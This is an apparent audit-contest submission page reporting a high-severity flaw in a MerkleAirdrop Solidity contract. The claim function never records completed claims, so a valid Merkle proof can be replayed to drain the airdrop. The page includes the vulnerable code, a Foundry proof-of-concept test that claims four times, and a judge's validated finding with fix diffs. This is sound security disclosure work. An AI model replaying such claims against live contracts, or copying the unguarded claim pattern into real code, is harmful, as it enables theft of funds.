AirDropper

AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Submission Details
Severity: high
Valid

Missing Claim-State Tracking Allows Unlimited Reuse of Merkle Proofs

Missing Claim-State Tracking Allows Unlimited Reuse of Merkle Proofs

Description

The claim function in MerkleAirdrop verifies that a given (account, amount) pair is part of the Merkle tree but does not record whether the claim has already been executed.

function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}

The Merkle root is immutable and no claim-state invalidation mechanism is implemented (e.g., no mapping of claimed leaves or addresses).

As a result, a legitimate claimant can repeatedly call claim using the same (account, amount, proof) and receive tokens each time. Since the contract does not track previously claimed allocations, the same proof remains valid indefinitely.

This enables unbounded re-claims until the airdrop token balance is exhausted.


Risk

Likelihood: High

Exploitation requires no special privileges or complex setup. Any eligible user who successfully submits a valid Merkle proof can simply repeat the exact same transaction parameters and receive tokens again. The absence of claim-state invalidation makes the attack deterministic and trivial to execute.

Impact: High

A single eligible claimant can withdraw tokens far exceeding their intended allocation, potentially draining the entire airdrop pool. This directly breaks the fundamental correctness of the distribution mechanism and results in material financial loss, preventing legitimate users from receiving their allocations.


Proof of Concept

The following Foundry test demonstrates that a legitimate claimant can reuse the same Merkle proof multiple times and receive their allocation repeatedly.

function test_ClaimCanBeRepeatedWithSameProof() public {
// Ensure claimant has sufficient ETH to repeatedly pay the claim fee
vm.deal(collectorOne, 10 ether);
vm.startPrank(collectorOne);
// First legitimate claim
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
// Reuse the exact same proof multiple times
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
vm.stopPrank();
// Collector receives allocation 4 times instead of once
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance, amountToCollect * 4);
}

Run the test:

forge test --match-test test_ClaimCanBeRepeatedWithSameProof -vv

Output:

Ran 1 test for test/MerkleAirdropTest.t.sol:MerkleAirdropTest
[PASS] test_ClaimCanBeRepeatedWithSameProof() (gas: 130869)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.37ms
Ran 1 test suite in 17.27ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

This confirms that the contract allows unlimited reuse of the same Merkle proof, resulting in repeated token transfers.


Recommended Mitigation

The recommended approach is to implement explicit claim-state tracking rather than dynamically modifying the Merkle root.

A simple and robust solution is to track claimed allocations using a mapping:

+ mapping(bytes32 => bool) public claimed;

Then modify the claim function:

function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
+ if (claimed[leaf]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ claimed[leaf] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}

This ensures that each valid leaf can only be claimed once, preserving the integrity of the airdrop distribution while maintaining a static Merkle root.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 7 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!